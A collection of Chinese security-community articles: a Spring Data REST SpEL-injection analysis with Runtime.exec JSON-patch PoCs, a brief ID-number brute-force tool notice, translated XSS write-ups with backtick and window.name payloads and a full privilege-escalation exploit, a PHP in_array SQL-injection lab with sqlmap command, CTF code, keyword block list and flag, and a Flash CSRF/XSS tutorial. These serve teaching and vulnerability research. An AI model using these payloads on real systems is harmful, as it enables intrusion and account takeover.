[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))/xxlegend"}]
执行 ping 192.168.3.106
#### 4 分析
漏洞的触发过程详细分析见[文档](https://mp.weixin.qq.com/s/uTiWDsPKEjTkN6z9QNLtSA "文档")
，这里已经描述的比较清楚，在这里不再重述，这篇文档后续的分析主要是对 poc 的一些解读。
随便拿一个以前 spring 表达式注入的 poc 作为 path 的参数值，如 poc：
[{"op":"add","path":"new java.lang.String(new byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})"
}]
这个请求的特别之处在于 path 字段值后边没有了斜杠。
会报如下错误：
Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1032E: setValue(ExpressionState, Object) not supported for 'class org.springframework.expression.spel.ast.ConstructorReference'
at org.springframework.expression.spel.ast.SpelNodeImpl.setValue(SpelNodeImpl.java:148) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
说明 path 参数确实被污染，此处存在表达式注入漏洞，虽然已经进入表达式的执行流程，但是这里却报错退出。离 RCE
还差一步，查看`org.springframework.expression.spel.ast.SpelNodeImpl.setValue`方法
@Override
public void setValue(ExpressionState expressionState, Object newValue) throws EvaluationException {
throw new SpelEvaluationException(getStartPosition(),
SpelMessage.SETVALUE_NOT_SUPPORTED, getClass());
}
这个方法直接抛出异常，那看来 poc 离执行还有一段距离。直接调出setValue的实现，发现有五个地方重写了该方法。SpelNodeImpl 的
setValue
也在其中，但是它是直接抛出异常的，算一个异常检查吧。查看他们的实现，只有`CompoundExpression,Indexer,PropertyOrFieldReference`真正存在执行表达式。
查看相关文档得知 CompoundExpression 是复杂表达式，用.连接起来的都算。
Indexer 一般是这么表示 test[xxlegend]，那么可以把 poc 改成
[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))[xxlegend]"
}]
这也是可以运行的。再看调用栈也是符合我们刚才理解到
SpelExpression.setValue--》 CompoundExpression.setValue--》
CompoundExpression.getValueRef--》 Indexer.getValueRef--》
PropertyOrFieldReference.getValueInternal--》
PropertyOrFieldReference.readProperty
Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1008E: Property or field 'xxlegend' cannot be found on object of type 'sample.data.rest.domain.City' - maybe not public?
at org.springframework.expression.spel.ast.PropertyOrFieldReference.readProperty(PropertyOrFieldReference.java:224) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:94) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:81) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:123) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
前面都是讲 path 参数，也就是表达式的写法。在这个 poc 中还用到 op 参数，op
表示要执行的动作，在代码中定义了add,copy,from,move,replace,test 这么多操作值，add，test，replace
可直接触发漏洞，并且 test 非常直接，path 参数值无需斜杠/，[]来分割，poc 如下：
[{"op":"test","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))"
}]
很明显这个 poc 的 path 参数值无线跟/ []来分割参数。原因就是它调用的是 SpelExpression.getValue，而非 test
情况下的 poc 最终调用的都是 SpelExpression.setValue，通过 setValue 调用 getValueRef 来达到表达式注入。
下面看看test的调用栈：
这个点官方也没修，但是有个限制：
@Override
<T> void perform(Object target, Class<T> type) {
Object expected = normalizeIfNumber(evaluateValueFromTarget(target, type));
Object actual = normalizeIfNumber(getValueFromTarget(target));
if (!ObjectUtils.nullSafeEquals(expected, actual)) {
throw new PatchException("Test against path '" + path + "' failed.");
}
}
evaluateValueFromTarget 运行在前，会报错退出，导致 getValueFromTarget 不会被执行，怎么绕过去呢？值得思考。
* * * | 社区文章 |
0x00 说明
1.脚本仅供测试，切勿用于非法用途，非法使用造成的一切后果由自己承担，与本作者无关。
2.爆破身份证号需要知道一定的信息和appkey。
0x01 演示
测试输入：
生成结果：
0x02 下载
<https://github.com/sunnyelf/generate-and-crack-identity-card> | 社区文章 |
安全研究员`Brian Hyde`接受了Synack Red Teams的bug
bounty平台的邀请，并在其中一个程序中发现了一个反射性XSS漏洞。而本文记载了他在利用这个跨站点脚本（XSS）漏洞时遇到的困难、以及他在研究期间所使用的变通方法。这些内容都是非常有用且值得研究的。
### 问题一：如何访问DOM
开始时，尽管Hyde发现了平台中的XSS漏洞，但期却无法访问DOM。 这是因为页面过滤掉了包含`document.domain`的payload上的括号。
因此，以下payload从未真正起作用：
alert(document.domain)
Hyde使用了反引号（在JavaScript函数中用来替换括号），因此payload看起来如下所示。
alert `document.cookie`
一旦XSS弹出窗口，Hyde就会看到`document.domain`并没有在后台被注册，但是在屏幕上却显示为文本。
弹框功能显示`'document.domain'`，而不是显示DOM的属性。
虽然Hyde的初始payload中的括号被检测出来，但让我们仔细看看这个过程背后的故事。
### 模板字符串在XSS过滤中的重要性
那些使用`Ruby`或`Python`等脚本语言的人无法访问`JavaScript`语言中提供的字符串操作。
为了满足现代Web应用程序的各种需求，JavaScript在服务器端和客户端都越来越多地使用JavaScript来自动生成页面内容，`JavaScript`引入了`Template
Strings（`也称为`Template
Literals`）。自Chrome版本41和Firefox版本34之后，它们已经可以在浏览器中使用。从那时起，`Template
Strings`已经成为`MVVM`（模型 - 视图 - 视图模型）技术（如AngularJS和KnockOutJS）的主要使用基础。
模板字符串允许字符串替换、多行字符串、标记模板、表达式添加以及其他功能。 它使用反引号来代替单引号或双引号表示。 下面是一个例子。
var greeting = `Yo World!`;
### 字符串替换
以下方法可以添加一个变量，该变量使用占位符将文本放入alert中：
var name="Netsparker Turkey";
alert(`Welcome to ${name} Blog`);
占位符必须位于`$ {}`字符之间。 也可以在字符串替换过程中调用占位符函数，因为此过程的JavaScript表达式是有效的。
var name="Netsparker Turkey";
alert(`Welcome to ${name.toUpperCase()} Blog`);
这是另一个函数的示例。
function sayHello() { return "welcome to Netsparker Blog!"; }
alert(`Dear guest, ${sayHello()}`);
如果你需要在字符串中使用反引号，则必须使用反斜杠转义反引号字符，如下面实例所示。
var hello= `\` is useful`;
alert(`${hello}`);
### 多行字符串
在JavaScript中，这些是定义多行字符串时最常用的方法：
var greeting = "Yo \
World";
或者：
var greeting = "Yo " +
"World";
虽然这些方法对我们的代码没有任何负面的影响，但`Template Strings`引入了一种新方法。
使用模板字符串意味着用户不再需要按照这些方法来编写多行字符串。
相反，我们可以以简单的方式在多行上编写代码。
console.log(`string text line 1
string text line 2`);
### 标记模板
标记模板是最常用的模板字符串。 它们使用户可以使用模板字符串作为函数的参数。 如下面的例子。
var message = tag`Hello world`;
这是一个执行HTML编码的函数。 html标签处理模板字符串并对其进行更改，具体取决于函数。
html`<p title="${title}">Hello ${you}!</p>`
### 克服document.domain问题
到目前为止，我们已经发现了具有alert功能的payload中使用反引号的机制。
如图所示，其并不是`document.domain`属性的最终结果，文本`'document.domain'`显示在屏幕上。
Hyde使用下面的方法（取自Brute Logic的XSS表单）来克服这个问题：
setTimeout`alert\x28document.domain\x29`
`setTimeout`函数允许注册反引号，使`document.domain`属性值能够添加到显示的消息中。
### Self-XSS的发现与利用
Hyde还在`Bug Bounty`网站范围内的子域中发现了一个Self-XSS漏洞，其中包含一个`bug赏金计划`。 利用`Self-XSS`非常困难，因为它需要使用`cookie`值进行注入。 然而我们无法在没有其他漏洞的帮助下更改用户浏览器上的cookie值。
但是，域可以在所有子域上设置有效的cookie。 同样，我们可以从子域覆盖主域上的cookie。
Hyde制定了一个计划，使用他发现的XSS并利用反引号进行进一步操作，以便为子域设置cookie。
但这一次，他在XSS的payload上遇到了字符限制的问题。 使用他发现的XSS，他调用了在他控制下的域上发现的JavaScript代码。
下一步，他使用`jQuery`的`getScript`函数进行进一步行动。 以下是`getString`函数的示例。
$.getScript`//xss.example.com/xss.js`
`Hyde`在网站上添加了以下`JavaScript`。 这就是他成功地将Self-XSS转换为可利用的XSS漏洞的方法。
$('html').html('<h1>Click the button below to continue.</h1><input type="submit" value="Click Me" onclick=setCookieRedir() />');
function setCookieRedir(){
document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
window.location = "https://example.com/vulnerablePage.html";
}
`cookie`值的编码方式取决于目标网站的运行方式。 以下是在`JavaScript`代码中使用的`cookie`值的`base64`编码版本。
LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v
当此值被解码并映射到DOM时，以下XSS的payload成功运行。
--></script><script>alert(document.domain);//
### 进一步阅读
有关Hyde渗透过程的更多信息，请参阅[Cookie Based Self-XSS to Good
XSS](https://medium.com/bugbountywriteup/cookie-based-self-xss-to-good-xss-d0d1ca16dd0e)。
此外，来自Google的Javascript专家Addy Osmani也写了一篇名为Getting Literal With ES6 Template
Strings的详细文章，它可能会帮助读者了解更多。
本文为翻译稿件，来源于：https://www.netsparker.com/blog/web-security/transforming-self-xss-into-exploitable-xss/ | 社区文章 |
本文由红日安全成员： **七月火** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 **PHP-Audit-Labs** 。现在大家所看到的系列文章，属于项目 **第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第1篇**
代码审计文章：
## Day 1 - Wish List
题目叫做愿望清单，代码如下：
**漏洞解析** ：
这一关卡考察的是一个任意文件上传漏洞，而导致这一漏洞的发生则是不安全的使用 **in_array()**
函数来检测上传的文件名，即上图中的第12行部分。由于该函数并未将第三个参数设置为 **true**
，这导致攻击者可以通过构造的文件名来绕过服务端的检测，例如文件名为 **7shell.php** 。因为PHP在使用 **in_array()**
函数判断时，会将 **7shell.php** 强制转换成数字7，而数字7在 **range(1,24)** 数组中，最终绕过 **in_array()**
函数判断，导致任意文件上传漏洞。（这里之所以会发生强制类型转换，是因为目标数组中的元素为数字类型）我们来看看PHP手册对 **in_array()**
函数的定义。
> [ **in_array** ](http://php.net/manual/zh/function.in-array.php)：(PHP 4, PHP
> 5, PHP 7)
>
> **功能** ：检查数组中是否存在某个值
>
> **定义** ： `bool in_array ( mixed $needle , array $haystack [, bool $strict =
> FALSE ] )`
>
> 在 **$haystack** 中搜索 **$needle** ，如果第三个参数 **$strict** 的值为 **TRUE** ，则
> **in_array()** 函数会进行强检查，检查 **$needle** 的类型是否和 **$haystack** 中的相同。如果找到
> **$haystack** ，则返回 **TRUE** ，否则返回 **FALSE** 。
## 实例分析
本次实例分析，我们选取的是 **piwigo2.7.1** 版本。该版本由于SQL语句直接拼接 **$rate** 变量，而 **$rate**
变量也仅是用 **in_array()**
函数简单处理，并未使用第三个参数进行严格匹配，最终导致sql注入漏洞发生。下面我们来看看具体的漏洞位置。漏洞的入口文件在
**include\functions_rate.inc.php** 中，具体代码如下：
当 **$_GET['action']** 为 **rate** 的时候，就会调用文件 **include/functions_rate.inc.php**
中的 **rate_picture** 方法，而漏洞便存在这个方法中。我们可以看到下图第23行处直接拼接 **$rate** 变量，而在第2行使用
**in_array()** 函数对 **$rate** 变量进行检测，判断 **$rate** 是否在 **$conf['rate_items']**
中， **$conf['rate_items']** 的内容可以在 **include\config_default.inc.php** 中找到，为
`$conf['rate_items'] = array(0,1,2,3,4,5);`
由于这里（上图第6行）并没有将 **in_array()** 函数的第三个参数设置为 **true** ，所以会进行弱比较，可以绕过。比如我们将
**$rate** 的值设置成 **1,1 and if(ascii(substr((select
database()),1,1))=112,1,sleep(3)));#** 那么SQL语句就变成：
INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;
这样就可以进行盲注了，如果上面的代码你看的比较乱的话，可以看下面简化后的代码：
## 漏洞利用
接下来我们直接用sqlmap进行验证， **payload** 如下：
sqlmap -u "http://192.168.2.211/piwigo/picture.php?/1/category/1&action=rate" --data "rate=1" --dbs --batch
## 修复建议
可以看到这个漏洞的原因是弱类型比较问题，那么我们就可以使用强匹配进行修复。例如将 **in_array()** 函数的第三个参数设置为 **true**
，或者使用 **intval()** 函数将变量强转成数字，又或者使用正则匹配来处理变量。这里我将 **in_array()** 函数的第三个参数设置为
**true** ，代码及防护效果如下：
## 结语
看完了上述分析，不知道大家是否对 **in_array()** 函数有了更加深入的理解，文中用到的CMS可以从
[这里](https://piwigo.org/download/dlcounter.php?code=2.7.1)
下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 [email protected] 联系我们。 **Day1**
的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：
//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}
?>
//config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
# 搭建CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );
INSERT INTO users VALUES(1,'Lucia','[email protected]',3000);
INSERT INTO users VALUES(2,'Danny','[email protected]',4500);
INSERT INTO users VALUES(3,'Alina','[email protected]',2700);
INSERT INTO users VALUES(4,'Jameson','[email protected]',10000);
INSERT INTO users VALUES(5,'Allie','[email protected]',6000);
create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');
题解我们会阶段性放出，如果大家有什么好的解法，可以在文章底下留言，祝大家玩的愉快！ | 社区文章 |
# 前言
大家好，我是Shawar
Khan。因为我正忙于测试不同的目标，所以我已经好几个月没有写过wp了。最近我在目标中发现了一个有趣的XSS漏洞，使用该漏洞我可以将我的权限升级为管理员用户。
XSS是一个非常有趣的漏洞，在发现它之后，您可以轻松地与应用程序进行交互，而不必担心同源策略。一切都在我的掌控之中，大部分的保护措施都被破坏了。
因此，管理员用户可以添加/删除/编辑任何用户。因此，我的目的是通过XSS将我的权限升级为管理员用户。我有一种癖好，每次当我发现XSS时候，我想用一种独特的方式来利用XSS。窃取令牌、绕过CSRF保护或窃取cookie等利用方式对我来说已经不新鲜了，因此我这次打算利用XSS来提升权限。
在我的测试期间，发现了多个XSS漏洞，其中一个有趣的漏洞是在User
Profile页面发现的。每个注册用户都有一个不同的个人资料页面，例如“<https://www.site.com/users/username-here”>.
# 发现基于AngularJS的XSS：
这是一个反射所有权限用户都可以访问的用户帐户的名字和姓氏的页面。应用简单的测试探针，例如`"><img src=x
onerror=prompt()>`未显示任何结果，该应用程序有XSS保护。所有特殊字符都已正确过滤，但我突发奇想，为什么不尝试基于AngularJS的XSS，转到设置并将帐户名更改为`{{alert(1)}}`。
因此，我作为不同的权限用户测试了相同的东西，导航到我的个人资料/users/username_page会触发有效负载，从而确认任何用户都可以访问它：
尝试升级权限时，主要目标是查找编辑用户的功能，或者邀请您访问不受限制的区域的功能。在我的例子中，admin用户有权编辑/添加用户，所以这是我的目标。
在我的例子中，我有一个管理员帐户来测试这个问题，所以我知道我必须复制什么请求才能添加一个新的管理员权限用户。在没有访问权限的情况下，可以通过发送document.body.innerHTML的输出获取admin帐户的源代码。并尝试获取有关内部功能的信息。可以利用XSSHunter和其他工具获取此类信息。
# 了解payload
无论如何，username字段的长度限制很短，因此不可能在该字段中编写整个利用漏洞代码。用户名还会在个人资料页面中添加条目，此外它也会显示为恶意内容。此外，不可能注入引用外部javascript的脚本标记。
像往常一样，通过window.name编写我们payload。我习惯通过window.name编写payload，这可以绕开漏洞限制和加载利用漏洞代码的payload限制为20个字符这一列问题，我们将只加载给定的payload并将其提供给eval(atob(top.name)
使用此技术的另一个好处是，它将绕过许多恶意验证检查。由于我们的主要payload不会在易受攻击的应用程序中输入，所以简而言之，我们的payload不会得到验证和检查。
因此，可以通过使用window.open(url,"window name
here")打开URL来设置窗口名称，我们用Base64加密payload。因此，通过调用window.name，它将返回我们的payload，该代码将由eval()执行。
# 针对用户修改改能
在管理员门户中可以修改用户，最高权限的用户能够更改应用程序的任何用户的数据和权限。有不同的选项，如电子邮件更改和复选框来确认用户是否具有更高的特权。通过设置参数“csc=1”，用户将被授予完全权限，但这只能由admin用户完成。
如果只检索到源代码，则可以通过审查源代码并了解哪些端点采用哪些参数来映射所有功能。
以下是将用户修改为管理员和具有完全权限用户的请求：
POST /users/attackers-username HTTP/1.1
Host: vulnerablesite.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
_method=PUT&_token=CSRF_TOKEN_HERE&name=USERNAME&email=USER_EMAIL&phone=&csc=1
为了升级我们的权限，我们可以重现上面的请求，因此当我们的漏洞利用代码被更高权限的用户访问时，我们的用户权限将被修改。
# 编写漏洞利用代码：
我们要做的第一件事是检索CSRF令牌，以便我们可以验证请求。有时候它会自动存在于cookie中，因此从document.cookie中检索它是相当容易的，但有些情况下，它是在元标签中找到的，例如：
< meta name = “CSRF_TOKEN” content = “TOKEN_HERE” >
我使用fetch()打开了位于/settings的设置页面，并将其输出存储在一个变量woot中。然后我使用`woot.getElementsByTagName('meta')[3]['content']`检索
CSRF token 的值并将其存储到新变量csrf_token中，现在我们的利用代码变成了：
var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){
woot.innerHTML=data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content']
...
...
...
现在我们可以使用XHR重现请求：
function privilege_escalate(){
var req = new XMLHttpRequest();
req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}
执行上面的privilege_escalate（）函数将发送一个POST请求，该请求将更改攻击者帐户的信息，在我的例子中，该帐户是`mrs-camylle-kertzmazevalwindowname`，并且还将名称更改为我们的有效负载`{{eval(atob(window.name))}}`,因此，当window.name具有漏洞攻击代码时，它将用于执行window.name中的漏洞攻击代码.此外，此请求具有csc=1，它将更改我们用户的权限。
# 最终的漏洞利用代码：
// XSS Exploit code for Privilege Escalation
// Author: Shawar Khan
var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){
woot.innerHTML=data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content'];
privilege_escalate();
function privilege_escalate(){
var req = new XMLHttpRequest();
req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}
}
)
攻击代码可以进一步进行base64编码，并用作window.name，因此当通过eval(atob(window.name)执行时，它将被触发。我们现在可以使用以下代码打开我们的配置文件页面，并将我们的利用代码设置为window
name。因此，一旦window.name被访问，我们的漏洞利用代码就会被触发：
<script>window.open('https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname','dmFyIHdvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdodG1sJyk7CmZldGNoKCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS9zZXR0aW5ncycse2NyZWRlbnRpYWxzOiAnaW5jbHVkZSd9KS50aGVuKChyZXNwKSA9PiByZXNwLnRleHQoKSkudGhlbihmdW5jdGlvbihkYXRhKXsKCndvb3QuaW5uZXJIVE1MPWRhdGE7CnZhciBjc3JmX3Rva2VuID0gd29vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzNdWydjb250ZW50J107CnByaXZpbGVnZV9lc2NhbGF0ZSgpOwoKZnVuY3Rpb24gcHJpdmlsZWdlX2VzY2FsYXRlKCl7CnZhciByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKcmVxLm9wZW4oJ1BPU1QnLCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS91c2Vycy9tcnMtY2FteWxsZS1rZXJ0em1hemV2YWx3aW5kb3duYW1lJyx0cnVlKTsKcmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7CnJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7IApyZXEuc2VuZCgnX21ldGhvZD1QVVQmX3Rva2VuPScrY3NyZl90b2tlbisnJm5hbWU9TXJzLitDYW15bGxlK0tlcnR6bWF6JTdCJTdCZXZhbCUyOHdpbmRvdy5uYW1lJTI5JTdEJTdEJmVtYWlsPXVzZXIlNDBleGFtcGxlLm9yZyZwaG9uZT0mY3NjPTEnKTsKfQoKfQop')</script>
在下面的屏幕截图中，我们可以看到我们的用户可以访问有限的功能：
在较高权限的用户中成功执行我们的攻击代码后，我们的帐户将具有最高权限和对管理功能的访问权限。
# 小总结
每当测试XSS漏洞时，不要在应用程序正确过滤用户输入(如<>和其他字符)时停止。更进一步，尝试其他实现XSS的技术，如本文中提到的技术。尝试使用`{{alert(1}}`或尝试上传.swf、.svg、.html、.url等文件。
了解漏洞的局限性和使用范围，在XSS的情况下，尝试与独特的功能进行交互，看看您还可以实现哪些功能，而不仅仅是一个弹出窗口。
尝试一些独特的东西，打破思维定势!
原文：https://www.shawarkhan.com/2019/08/leveraging-angularjs-based-xss-to-privilege-escalation.html | 社区文章 |
# 【技术分享】从白帽子角度谈Flash安全
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **阻圣** ****
****](http://bobao.360.cn/member/contribute?uid=134615136)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[ **网页版** ****
****](http://bobao.360.cn/contribute/index) **在线投稿**
**
**
**前言**
Flash攻击技术一直以它的不为人知性而深受黑客追捧，本文从白帽子角度介绍Flash安全，从Flash漏洞产生的原因到漏洞的挖掘之路，希望能帮助到大家，水平有限，如有不足还请指出。
**配置不当出CSRF**
Flash跨域唯一的限制就在crossdomain.xml这个文件，它限制了flash是否可以跨域读写数据以及允许从什么地方跨域读取数据，如果配置不当就会产生CSRF漏洞。
下图展示了网易博客的crossdomain.xml
**挖掘Flash CSRF思路**
既然形成Flash CSRF的原因在于crossdomain.xml，我们首先就来打开crossdomain.xml，查看是否允许跨域，允许了哪些站点跨域。
allow-access-from选项就是用来限制哪些域可以进行跨域请求数据。
经典的漏洞配置：
<allow-access-from domain="*"/>
允许所有域进行跨域请求数据。
**Flash CSRF漏洞利用**
发现漏洞后，可以要测试一些是否有危害了，要是影响不大肯定又要忽略了。所以我们肯定先要证明一下漏洞确实存在并且有危害的。
首先找到一个存在csrf的页面：
我们找到一个地方插入flash，管理访问我们的页面就会执行我们写的脚本了。下面看演示，我们来写一个管理访问我们的页面时，就修改用户admin的密码为test123。
利用代码：
var url:String = "http://www.test.com/csrfdemo.php";
var datapost:String = "username=admin&password=test";
var _request:URLRequest = new URLRequest();
_request.url = url;
_request.method = URLRequestMethod.POST;
_request.data = datapost;
sendToURL(_request);
这里我们为了演示清楚，flash显示的就是一个长方形框。
然后我们看一下数据库情况：
可以看见访问前密码是123456，访问后密码变成test123，利用成功。
**Flash CSRF防御**
很多小伙伴提交漏洞的时候，在漏洞修复建议的地方往往就填个你懂的，其实我们描述清楚，肯定会减少审核人员的工作量，让他们更容易理解，这样绝对有加分滴。
其实Flash CSRF修复建议也很简单，配置好crossdomain.xml文件，将权限限制到子域。
**Flash XSS**
挖掘flash xss其实就像代码审计一样悠闲，我们将网站上flash文件下载下来，然后进行逆向分析。下面介绍存在漏洞的函数。
**1、 getURL()**
getURL函数存在问题的地方有两处，第一处是clickTAG变量，clickTAG变量主要被用来跟踪广告的被单击的时间、次数还有显示的位置。但没有对这个变量进行检查的话，就可以注入我们的恶意脚本。
getURL(clickTag,"window");
同样道理，不管第一个变量叫什么名字，我们都可以用来执行javascript伪协议来执行任意代码。
另一处存在的问题是重定向，只要将函数内参数设置一个url就可以了。
ActionScript 3.0已经不支持这个函数，不过代码都是兼容的，可以用ActionScript 2.0来写。
**2、 navigateToURL()**
在ActionScript 3.0中舍弃了getURL()而使用navigateToURL()，其实navigateToURL()也存在安全问题。
问题产生原因在于调用外部资源文件可被控制导致的。
类型注入函数：
loadVariables();
loadMovie();
loadMovieNum();
XML.load();
LoadVars.load();
Sound.loadSound();
NetStream.play();
大家注意大小写。
**3、ExternalInterface.call()**
ExternalInterface.call()是一个执行js的接口函数
参数：
ExternalInterface.call("sendToJavaScript", input.text);
最终执行的js：
try {
__flash__toXML(sendToJavaScript,"value of input.text"));
} catch (e) {
"<undefined/>";
}
可控第一个参数的时候
可控第二个参数的时候
**Flash XSS漏洞修复建议**
